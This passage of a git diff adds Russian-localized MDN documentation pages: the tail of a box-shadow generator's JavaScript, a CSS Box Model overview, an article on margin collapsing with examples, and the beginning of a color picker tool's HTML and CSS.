+				active.stack.moveLayer(1);
+
+			if (type === 'move-down')
+				active.stack.moveLayer(-1);
+		}
+
+		var setActiveStack = function setActiveStack(stackObj) {
+			active.stack.hide();
+			active.stack = stackObj;
+			active.stack.show();
+		}
+
+		/*
+		 * Stack object
+		 */
+		var Stack = function Stack(subject) {
+			var S = document.createElement('div');
+			var title = document.createElement('div');
+			var stack = document.createElement('div');
+
+			S.className = 'container';
+			stack.className = 'stack';
+			title.className = 'title';
+			title.textContent = subject.getAttribute('data-title');
+			S.appendChild(title);
+			S.appendChild(stack);
+
+			this.id = subject.id;
+			this.container = S;
+			this.stack = stack;
+			this.subject = subject;
+			this.order = [];
+			this.uid = 0;
+			this.count = 0;
+			this.layer = null;
+			this.layerID = 0;
+		}
+
+		Stack.prototype.addLayer = function addLayer() {
+			if (Tool.addShadow(this.layerID) == -1)
+				return;
+
+			var uid = this.getUID();
+			var layer = this.createLayer(uid);
+
+			if (this.layer === null && this.stack.children.length >= 1)
+				this.layer = this.stack.children[0];
+
+			this.stack.insertBefore(layer, this.layer);
+			this.order.splice(this.layerID, 0, uid);
+			this.count++;
+			this.setActiveLayer(layer);
+		}
+
+		Stack.prototype.createLayer = function createLayer(uid) {
+			var layer = document.createElement('div');
+			var del = document.createElement('span');
+
+			layer.className = 'node';
+			layer.setAttribute('data-shid', uid);
+			layer.setAttribute('data-type', 'layer');
+			layer.textContent = 'тень ' + uid;
+
+			del.className = 'delete';
+			del.setAttribute('data-type', 'delete');
+
+			layer.appendChild(del);
+			return layer;
+		}
+
+		Stack.prototype.getUID = function getUID() {
+			return this.uid++;
+		}
+
+		// SOLVE IE BUG
+		Stack.prototype.moveLayer = function moveLayer(direction) {
+			if (this.count <= 1 || this.layer === null)
+				return;
+			if (direction === -1 && this.layerID === (this.count - 1) )
+				return;
+			if (direction === 1 && this.layerID === 0 )
+				return;
+
+			if (direction === -1) {
+				var before = null;
+				Tool.swapShadow(this.layerID, this.layerID + 1);
+				this.swapOrder(this.layerID, this.layerID + 1);
+				this.layerID += 1;
+
+				if (this.layerID + 1 !== this.count)
+					before = this.stack.children[this.layerID + 1];
+
+				this.stack.insertBefore(this.layer, before);
+				Tool.setActiveShadow(this.layerID, false);
+			}
+
+			if (direction === 1) {
+				Tool.swapShadow(this.layerID, this.layerID - 1);
+				this.swapOrder(this.layerID, this.layerID - 1);
+				this.layerID -= 1;
+				this.stack.insertBefore(this.layer, this.stack.children[this.layerID]);
+				Tool.setActiveShadow(this.layerID, false);
+			}
+		}
+
+		Stack.prototype.swapOrder = function swapOrder(pos1, pos2) {
+			var x = this.order[pos1];
+			this.order[pos1] = this.order[pos2];
+			this.order[pos2] = x;
+		}
+
+		Stack.prototype.deleteLayer = function deleteLayer(node) {
+			var shadowID =  node.getAttribute('data-shid') | 0;
+			var index = this.order.indexOf(shadowID);
+			this.stack.removeChild(this.stack.children[index]);
+			this.order.splice(index, 1);
+			this.count--;
+
+			Tool.deleteShadow(index);
+
+			if (index > this.layerID)
+				return;
+
+			if (index == this.layerID) {
+				if (this.count >= 1) {
+					this.layerID = 0;
+					this.setActiveLayer(this.stack.children[0], true);
+				}
+				else {
+					this.layer = null;
+					this.show();
+				}
+			}
+
+			if (index < this.layerID) {
+				this.layerID--;
+				Tool.setActiveShadow(this.layerID, true);
+			}
+
+		}
+
+		Stack.prototype.setActiveLayer = function setActiveLayer(node) {
+			elements.shadow_properties.style.display = 'block';
+			elements.element_properties.style.display = 'none';
+
+			if (this.layer)
+				this.layer.removeAttribute('data-active');
+
+			this.layer = node;
+			this.layer.setAttribute('data-active', 'layer');
+
+			var shadowID =  node.getAttribute('data-shid') | 0;
+			this.layerID = this.order.indexOf(shadowID);
+			Tool.setActiveShadow(this.layerID, true);
+		}
+
+		Stack.prototype.unsetActiveLayer = function unsetActiveLayer() {
+			if (this.layer)
+				this.layer.removeAttribute('data-active');
+
+			this.layer = null;
+			this.layerID = 0;
+		}
+
+		Stack.prototype.hide = function hide() {
+			this.unsetActiveLayer();
+			this.subject.removeAttribute('data-active');
+			var style = this.container.style;
+			style.left = '100%';
+			style.zIndex = '0';
+		}
+
+		Stack.prototype.show = function show() {
+			elements.shadow_properties.style.display = 'none';
+			elements.element_properties.style.display = 'block';
+
+			if (this.id === 'element') {
+				elements.zIndex.style.display = 'none';
+				elements.transform_rotate.style.display = 'none';
+			}
+			else {
+				elements.zIndex.style.display = 'block';
+				elements.transform_rotate.style.display = 'block';
+			}
+
+			this.subject.setAttribute('data-active', 'subject');
+			var style = this.container.style;
+			style.left = '0';
+			style.zIndex = '10';
+			Tool.setActiveClass(this.id);
+		}
+
+		function init() {
+
+			var elem, size;
+			var layerManager = getElemById("layer_manager");
+			var layerMenu = getElemById("layer_menu");
+			var container = getElemById("stack_container");
+
+			elements.shadow_properties = getElemById('shadow_properties');
+			elements.element_properties = getElemById('element_properties');
+			elements.transform_rotate = getElemById('transform_rotate');
+			elements.zIndex = getElemById('z-index');
+
+			elem = document.querySelectorAll('#layer_menu [data-type="subject"]');
+			size = elem.length;
+
+			for (var i = 0; i < size; i++) {
+				var S = new Stack(elem[i]);
+				stacks[elem[i].id] = S;
+				container.appendChild(S.container);
+				Tool.addCssClass(elem[i].id);
+			}
+
+			active.stack = stacks['element'];
+			stacks['element'].show();
+
+			layerManager.addEventListener("click", mouseEvents);
+			layerMenu.addEventListener("click", mouseEvents);
+
+			ButtonManager.subscribe("before", function(value) {
+				if (value === false && active.stack === stacks['before'])
+					setActiveStack(stacks['element'])
+				if (value === true && active.stack !== stacks['before'])
+					setActiveStack(stacks['before'])
+			});
+
+			ButtonManager.subscribe("after", function(value) {
+				if (value === false && active.stack === stacks['after'])
+					setActiveStack(stacks['element'])
+				if (value === true && active.stack !== stacks['after'])
+					setActiveStack(stacks['after'])
+			});
+		}
+
+		return {
+			init : init
+		}
+	})();
+
+	/*
+	 * OutputManager
+	 */
+	var OutputManager = (function OutputManager() {
+		var classes = [];
+		var buttons = [];
+		var active = null;
+		var menu = null;
+		var button_offset = 0;
+
+		var crateOutputNode = function(topic, property) {
+
+			var prop = document.createElement('div');
+			var name = document.createElement('span');
+			var value = document.createElement('span');
+
+			var pmatch = property.match(/(^([a-z0-9\-]*)=\[([a-z0-9\-\"]*)\])|^([a-z0-9\-]*)/i);
+
+			name.textContent = '\t' + pmatch[4];
+
+			if (pmatch[3] !== undefined) {
+				name.textContent = '\t' + pmatch[2];
+				value.textContent = pmatch[3] + ';';
+			}
+
+			name.textContent += ': ';
+			prop.className = 'css-property';
+			name.className = 'name';
+			value.className = 'value';
+			prop.appendChild(name);
+			prop.appendChild(value);
+
+			classes[topic].node.appendChild(prop);
+			classes[topic].line[property] = prop;
+			classes[topic].prop[property] = value;
+		}
+
+		var OutputClass = function OutputClass(node) {
+			var topic = node.getAttribute('data-topic');
+			var prop = node.getAttribute('data-prop');
+			var name = node.getAttribute('data-name');
+			var properties = prop.split(' ');
+
+			classes[topic] = {};
+			classes[topic].node = node;
+			classes[topic].prop = [];
+			classes[topic].line = [];
+			classes[topic].button = new Button(topic);
+
+			var open_decl = document.createElement('div');
+			var end_decl = document.createElement('div');
+
+			open_decl.textContent = name + ' {';
+			end_decl.textContent = '}';
+			node.appendChild(open_decl);
+
+			for (var i in properties)
+				crateOutputNode(topic, properties[i]);
+
+			node.appendChild(end_decl);
+		}
+
+		var Button = function Button(topic) {
+			var button = document.createElement('div');
+
+			button.className = 'button';
+			button.textContent = topic;
+			button.style.left = button_offset + 'px';
+			button_offset += 100;
+
+			button.addEventListener("click", function() {
+				toggleDisplay(topic);
+			})
+
+			menu.appendChild(button);
+			return button;
+		}
+
+		var toggleDisplay = function toggleDisplay(topic) {
+			active.button.removeAttribute('data-active');
+			active.node.style.display = 'none';
+			active = classes[topic];
+			active.node.style.display = 'block';
+			active.button.setAttribute('data-active', 'true');
+		}
+
+		var toggleButton = function toggleButton(topic, value) {
+			var display = (value === true) ? 'block' : 'none';
+			classes[topic].button.style.display = display;
+
+			if (value === true)
+				toggleDisplay(topic);
+			else
+				toggleDisplay('element');
+		}
+
+		var updateProperty = function updateProperty(topic, property, data) {
+			try {
+				classes[topic].prop[property].textContent = data + ';';
+			}
+			catch(error) {
+				// console.log("ERROR undefined : ", topic, property, data);
+			}
+		}
+
+		var toggleProperty = function toggleProperty(topic, property, value) {
+			var display = (value === true) ? 'block' : 'none';
+			try {
+				classes[topic].line[property].style.display = display;
+			}
+			catch(error) {
+				// console.log("ERROR undefined : ",classes, topic, property, value);
+			}
+		}
+
+		var init = function init() {
+
+			menu = getElemById('menu');
+
+			var elem = document.querySelectorAll('#output .output');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				OutputClass(elem[i]);
+
+			active = classes['element'];
+			toggleDisplay('element');
+
+			ButtonManager.subscribe("before", function(value) {
+				toggleButton('before', value);
+			});
+
+			ButtonManager.subscribe("after", function(value) {
+				toggleButton('after', value);
+			});
+		}
+
+		return {
+			init : init,
+			updateProperty : updateProperty,
+			toggleProperty : toggleProperty
+		}
+
+	})();
+
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		ButtonManager.init();
+		OutputManager.init();
+		ColoPicker.init();
+		SliderManager.init();
+		LayerManager.init();
+		PreviewMouseTracking.init("preview");
+		Tool.init();
+	}
+
+	return {
+		init : init
+	}
+
+})();
+
+
+
+
+ +
{{ EmbedLiveSample('box-shadow_generator', '100%', '1100px', '') }}
+ +

Похожий инструмент: Генератор CSS Box Shadow

diff --git a/files/ru/web/css/css_box_model/index.html b/files/ru/web/css/css_box_model/index.html new file mode 100644 index 0000000000..cb4dd91343 --- /dev/null +++ b/files/ru/web/css/css_box_model/index.html @@ -0,0 +1,167 @@ +--- +title: CSS Box Model +slug: Web/CSS/CSS_Box_Model +tags: + - CSS + - CSS Box Model + - CSS Reference + - NeedsTranslation + - Overview + - TopicStub +translation_of: Web/CSS/CSS_Box_Model +--- +
{{CSSRef}}
+ +

CSS Box Model is a CSS module that defines the rectangular boxes, including their padding and margin, that are generated for elements and laid out according to the visual formatting model.

+ +

Reference

+ +

Properties

+ +

Properties controlling the flow of content in a box

+ +
+
    +
  • {{cssxref("box-decoration-break")}}
    • +
  • {{cssxref("box-sizing")}}
    • +
  • {{cssxref("overflow")}}
    • +
  • {{cssxref("overflow-x")}}
    • +
  • {{cssxref("overflow-y")}}
    • +
+
+ +

Properties controlling the size of a box

+ +
+
    +
  • {{cssxref("height")}}
    • +
  • {{cssxref("width")}}
    • +
  • {{cssxref("max-height")}}
    • +
  • {{cssxref("max-width")}}
    • +
  • {{cssxref("min-height")}}
    • +
  • {{cssxref("min-width")}}
    • +
+
+ +

Properties controlling the margins of a box

+ +
+
    +
  • {{cssxref("margin")}}
    • +
  • {{cssxref("margin-bottom")}}
    • +
  • {{cssxref("margin-left")}}
    • +
  • {{cssxref("margin-right")}}
    • +
  • {{cssxref("margin-top")}}
    • +
+
+ +

Properties controlling the paddings of a box

+ +
+
    +
  • {{cssxref("padding")}}
    • +
  • {{cssxref("padding-bottom")}}
    • +
  • {{cssxref("padding-left")}}
    • +
  • {{cssxref("padding-right")}}
    • +
  • {{cssxref("padding-top")}}
    • +
+
+ +

Other properties

+ +
+
    +
  • {{cssxref("box-shadow")}}
    • +
  • {{cssxref("visibility")}}
    • +
+
+ +

Guides and tools

+ +
+
Introduction to the CSS box model
+
Explains one of the fundamental concept of CSS, the box model: describes the meaning of the margin, padding, as well as the different areas of a box.
+
Mastering margin collapsing
+
In several cases, two adjacent margins are collapsed into one. This article describes when this is happening and how to control it.
+
Box-shadow generator
+
An interactive tool that allows to visually create shadows and to generate the needed syntax for the {{cssxref("box-shadow")}} property.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Box")}}{{Spec2("CSS3 Box")}} 
{{SpecName("CSS2.1", "box.html")}}{{Spec2("CSS2.1")}} 
{{SpecName("CSS1")}}{{Spec2("CSS1")}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support1.0{{CompatGeckoDesktop("1")}}3.03.51.0 (85)
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support1.0{{CompatGeckoMobile("1")}}6.06.01.0
+
diff --git a/files/ru/web/css/css_box_model/mastering_margin_collapsing/index.html b/files/ru/web/css/css_box_model/mastering_margin_collapsing/index.html new file mode 100644 index 0000000000..ce82582529 --- /dev/null +++ b/files/ru/web/css/css_box_model/mastering_margin_collapsing/index.html @@ -0,0 +1,90 @@ +--- +title: Схлопывание внешних отступов +slug: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing +tags: + - CSS + - Руководство + - Справка +translation_of: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing +--- +
{{CSSRef}}
+ +

Отступы margin-top и margin-bottom иногда объединяются в один, с размером равным наибольшему из них (или размеру одного, если они равны).
+ Это поведение известно как схлопывание внешних отступов (margin collapsing).
+ Обратите внимание, что отступы плавающих и абсолютно позиционированных элементов никогда не схлопываются.

+ +

Схлопывание внешних отступов происходит в трёх случаях:

+ +
+
Соседние элементы (siblings)
+
Схлопываются отступы соседних элементов  (за исключением случая, когда к последнему элементу применено свойство {{cssxref("clear")}}).
+
Родительский и первый/последний дочерние элементы
+
Если отстутствуют границы (border), внутренние отступы (padding), строчное содержимое (inline/inline-block) или промежуток для отделения {{cssxref("margin-top")}} родительского элемента, от {{cssxref("margin-top")}} одного или нескольких его дочерних элементов/блоков или отстутствуют границы (border), внутренние отступы (padding), строчное содержимое (inline/inline-block), {{cssxref("height")}}, {{cssxref("min-height")}} или {{cssxref("max-height")}} для отделения отступов {{cssxref("margin-bottom")}} родительского блока от {{cssxref("margin-bottom")}} отступов одного или нескольких его дочерних элементов/блоков, то внешние отступы схлопываются. Схлопнутые отступы заканчиваются за пределами родительского элемента.
+
Пустые блоки
+
Если отстутствуют границы (border), внутренние отступы (padding), строчное содержимое (inline/inline-block), {{cssxref("height")}} или {{cssxref("min-height")}} для отделения {{cssxref("margin-top")}} верхнего отступа этого блока от его {{cssxref("margin-bottom")}} нижнего отступа, то верхние и нижние внешние отступы этого блока схлопываются.
+
+ +

На заметку:

+ +
    +
  • Более сложное схлопывание отступов (более, чем двух) происходит, когда описанные случаи сочетаются.
    • +
  • Эти правила применяются даже к отступам, равным 0, поэтому отступ первого/последниего дочернего элемента заканчивается за пределами его родителя (согласно правилу выше) независимо от того, равен ли отступ родителя нулю.
    • +
  • При использовании отрицательных отступов, размер схлопнутого отступа вычисляется, как сумма наибольшего положительного и наименьшего отрицательного (наибольшего по модулю) отступа.
    • +
  • Если все отступы отрицательные, размер схлопнутого отступа равен наименьшему (наибольшему по модулю) отступу. Это относится как к вложенным элементам, так и к соседним.
    • +
  • Внешние отступы плавающих и  абсолютно позиционируемых элементов никогда не схлопываются.
    • +
+ +

Примеры

+ +

HTML

+ +
<p>Нижний отступ этого абзаца схлопнулся …</p>
+<p>… с верхним отступом этого абзаца, объеденив отступы между ними в один, равный <code>1.2rem</code>.</p>
+
+<div>Этот родительский элемент содержит два абзаца!
+  <p>Этот абзац имеет отступ <code>.4rem</code> между ним и текстом выше.</p>
+  <p>Нижний отступ этого абзаца схлопывается с отступом родителя, принимая значение <code>2rem</code>.</p>
+</div>
+
+<p>Этот абзац имеет отступ <code>2rem</code> от элемента выше.</p>
+ +

CSS

+ +
div {
+  margin: 2rem 0;
+  background: lavender;
+}
+
+p {
+  margin: .4rem 0 1.2rem 0;
+  background: yellow;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Примеры', 'auto', 350)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS2.1", "box.html#collapsing-margins", "margin collapsing")}}{{Spec2("CSS2.1")}}Initial definition
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/css_colors/color_picker_tool/index.html b/files/ru/web/css/css_colors/color_picker_tool/index.html new file mode 100644 index 0000000000..105c608af3 --- /dev/null +++ b/files/ru/web/css/css_colors/color_picker_tool/index.html @@ -0,0 +1,3221 @@ +--- +title: Инструмент выбора цвета +slug: Web/CSS/CSS_Colors/Color_picker_tool +tags: + - CSS + - инструменты +translation_of: Web/CSS/CSS_Colors/Color_picker_tool +--- +
+

ColorPicker tool

+ +

HTML Content

+ +
    <div id="container">
+        <div id="palette" class="block">
+            <div id="color-palette"></div>
+            <div id="color-info">
+                <div class="title"> CSS Color </div>
+            </div>
+        </div>
+
+        <div id="picker" class="block">
+            <div class="ui-color-picker" data-topic="picker" data-mode="HSL"></div>
+            <div id="picker-samples" sample-id="master"></div>
+            <div id="controls">
+                <div id="delete">
+                    <div id="trash-can"></div>
+                </div>
+                <div id="void-sample" class="icon"></div>
+            </div>
+        </div>
+
+        <div id="canvas" data-tutorial="drop">
+            <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index"
+                data-max="20" data-sensivity="10"></div>
+        </div>
+    </div>
+
+
+ +

CSS Content

+ +
/*
+ * COLOR PICKER TOOL
+ */
+
+.ui-color-picker {
+	width: 420px;
+	margin: 0;
+	border: 1px solid #DDD;
+	background-color: #FFF;
+	display: table;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-color-picker .picking-area {
+	width: 198px;
+	height: 198px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: relative;
+	float: left;
+	display: table;
+}
+
+.ui-color-picker .picking-area:hover {
+	cursor: default;
+}
+
+/* HSV format - Hue-Saturation-Value(Brightness) */
+.ui-color-picker .picking-area {
+	background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center;
+
+	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-ms-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-o-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+
+	background-color: #F00;
+}
+
+/* HSL format - Hue-Saturation-Lightness */
+.ui-color-picker[data-mode='HSL'] .picking-area {
+	background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background-color: #F00;
+}
+
+.ui-color-picker .picker {
+	width: 10px;
+	height: 10px;
+	border-radius: 50%;
+	border: 1px solid #FFF;
+	position: absolute;
+	top: 45%;
+	left: 45%;
+}
+
+.ui-color-picker .picker:before {
+	width: 8px;
+	height: 8px;
+	content: "";
+	position: absolute;
+	border: 1px solid #999;
+	border-radius: 50%;
+}
+
+.ui-color-picker .hue,
+.ui-color-picker .alpha {
+	width: 198px;
+	height: 28px;
+	margin: 5px;
+	border: 1px solid #FFF;
+	float: left;
+}
+
+.ui-color-picker .hue {
+	background: url("https://mdn.mozillademos.org/files/5701/hue.png") center;
+	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -ms-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -o-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+}
+
+.ui-color-picker .alpha {
+	border: 1px solid #CCC;
+	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+}
+
+.ui-color-picker .alpha-mask {
+	width: 100%;
+	height: 100%;
+	background: url("https://mdn.mozillademos.org/files/6089/alpha_mask.png");
+}
+
+.ui-color-picker .slider-picker {
+	width: 2px;
+	height: 100%;
+	border: 1px solid #777;
+	background-color: #FFF;
+	position: relative;
+	top: -1px;
+}
+
+/* input HSV and RGB */
+
+.ui-color-picker .info {
+	width: 200px;
+	margin: 5px;
+	float: left;
+}
+
+.ui-color-picker .info * {
+	float: left;
+}
+
+.ui-color-picker .input {
+	width: 64px;
+	margin: 5px 2px;
+	float: left;
+}
+
+.ui-color-picker .input .name {
+	height: 20px;
+	width: 30px;
+	text-align: center;
+	font-size: 14px;
+	line-height: 18px;
+	float: left;
+}
+
+.ui-color-picker .input input {
+	width: 30px;
+	height: 18px;
+	margin: 0;
+	padding: 0;
+	border: 1px solid #DDD;
+	text-align: center;
+	float: right;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+.ui-color-picker .input[data-topic="lightness"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="value"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="lightness"] {
+	display: block;
+}
+
+.ui-color-picker .input[data-topic="alpha"] {
+	margin-top: 10px;
+	width: 93px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] > .name {
+	width: 60px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] > input {
+	float: right;
+}
+
+.ui-color-picker .input[data-topic="hexa"] {
+	width: auto;
+	float: right;
+	margin: 6px 8px 0 0;
+}
+
+.ui-color-picker .input[data-topic="hexa"] > .name {
+	display: none;
+}
+
+.ui-color-picker .input[data-topic="hexa"] > input {
+	width: 90px;
+	height: 24px;
+	padding: 2px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/* Preview color */
+.ui-color-picker .preview {
+	width: 95px;
+	height: 53px;
+	margin: 5px;
+	margin-top: 10px;
+	border: 1px solid #DDD;
+	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+	float: left;
+	position: relative;
+}
+
+.ui-color-picker .preview:before {
+	height: 100%;
+	width: 50%;
+	left: 50%;
+	top: 0;
+	content: "";
+	background: #FFF;
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .preview-color {
+	width: 100%;
+	height: 100%;
+	background-color: rgba(255, 0, 0, 0.5);
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .switch_mode {
+	width: 10px;
+	height: 20px;
+	position: relative;
+	border-radius: 5px 0 0 5px;
+	border: 1px solid #DDD;
+	background-color: #EEE;
+	left: -12px;
+	top: -1px;
+	z-index: 1;
+	transition: all 0.5s;
+}
+
+.ui-color-picker .switch_mode:hover {
+	background-color: #CCC;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+	height: 20px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider > input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * COLOR PICKER TOOL
+ */
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	box-shadow: 0 0 5px 0 #999;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+
+}
+
+/**
+ * Resize Handle
+ */
+.resize-handle {
+	width: 10px;
+	height: 10px;
+	background: url('https://mdn.mozillademos.org/files/6083/resize.png') center center no-repeat;
+	position: absolute;
+	bottom: 0;
+	right: 0;
+}
+
+[data-resize='both']:hover {
+	cursor: nw-resize !important;
+}
+
+[data-resize='width']:hover {
+	cursor: w-resize !important;
+}
+
+[data-resize='height']:hover {
+	cursor: n-resize !important;
+}
+
+[data-hidden='true'] {
+	display: none;
+}
+
+[data-collapsed='true'] {
+	height: 0 !important;
+}
+
+.block {
+	display: table;
+}
+
+
+/**
+ * 	Container
+ */
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	display: table;
+}
+
+/**
+ * 	Picker Zone
+ */
+
+#picker {
+	padding: 10px;
+	width: 980px;
+}
+
+.ui-color-picker {
+	padding: 3px 5px;
+	float: left;
+	border-color: #FFF;
+}
+
+.ui-color-picker .switch_mode {
+	display: none;
+}
+
+.ui-color-picker .preview-color:hover {
+	cursor: move;
+}
+
+/**
+ * Picker Container
+ */
+
+#picker-samples {
+	width: 375px;
+	height: 114px;
+	max-height: 218px;
+	margin: 0 10px 0 30px;
+	overflow: hidden;
+	position: relative;
+	float: left;
+
+	transition: all 0.2s;
+}
+
+#picker-samples .sample {
+	width: 40px;
+	height: 40px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: absolute;
+	float: left;
+	transition: all 0.2s;
+}
+
+#picker-samples .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#picker-samples .sample[data-active='true'] {
+	border-color: #999;
+}
+
+#picker-samples .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#picker-samples #add-icon {
+	width: 100%;
+	height: 100%;
+	position: relative;
+	box-shadow: inset 0px 0px 2px 0px #DDD;
+}
+
+#picker-samples #add-icon:hover {
+	cursor: pointer;
+	border-color: #DDD;
+	box-shadow: inset 0px 0px 5px 0px #CCC;
+}
+
+#picker-samples #add-icon:before,
+#picker-samples #add-icon:after {
+	content: "";
+	position: absolute;
+	background-color: #EEE;
+	box-shadow: 0 0 1px 0 #EEE;
+}
+
+#picker-samples #add-icon:before {
+	width: 70%;
+	height: 16%;
+	top: 42%;
+	left: 15%;
+}
+
+#picker-samples #add-icon:after {
+	width: 16%;
+	height: 70%;
+	top: 15%;
+	left: 42%;
+}
+
+#picker-samples #add-icon:hover:before,
+#picker-samples #add-icon:hover:after {
+	background-color: #DDD;
+	box-shadow: 0 0 1px 0 #DDD;
+}
+
+/**
+ * 	Controls
+ */
+
+#controls {
+	width: 110px;
+	padding: 10px;
+	float: right;
+}
+
+#controls #picker-switch {
+	text-align: center;
+	float: left;
+}
+
+#controls .icon {
+	width: 48px;
+	height: 48px;
+	margin: 10px 0;
+	background-repeat: no-repeat;
+	background-position: center;
+	border: 1px solid #DDD;
+	display: table;
+	float: left;
+}
+
+#controls .icon:hover {
+	cursor: pointer;
+}
+
+#controls .picker-icon {
+	background-image: url('https://mdn.mozillademos.org/files/6081/picker.png');
+}
+
+#controls #void-sample {
+	margin-right: 10px;
+	background-image: url('https://mdn.mozillademos.org/files/6087/void.png');
+	background-position: center left;
+}
+
+#controls #void-sample[data-active='true'] {
+	border-color: #CCC;
+	background-position: center right;
+}
+
+#controls .switch {
+	width: 106px;
+	padding: 1px;
+	border: 1px solid #CCC;
+	font-size: 14px;
+	text-align: center;
+	line-height: 24px;
+	overflow: hidden;
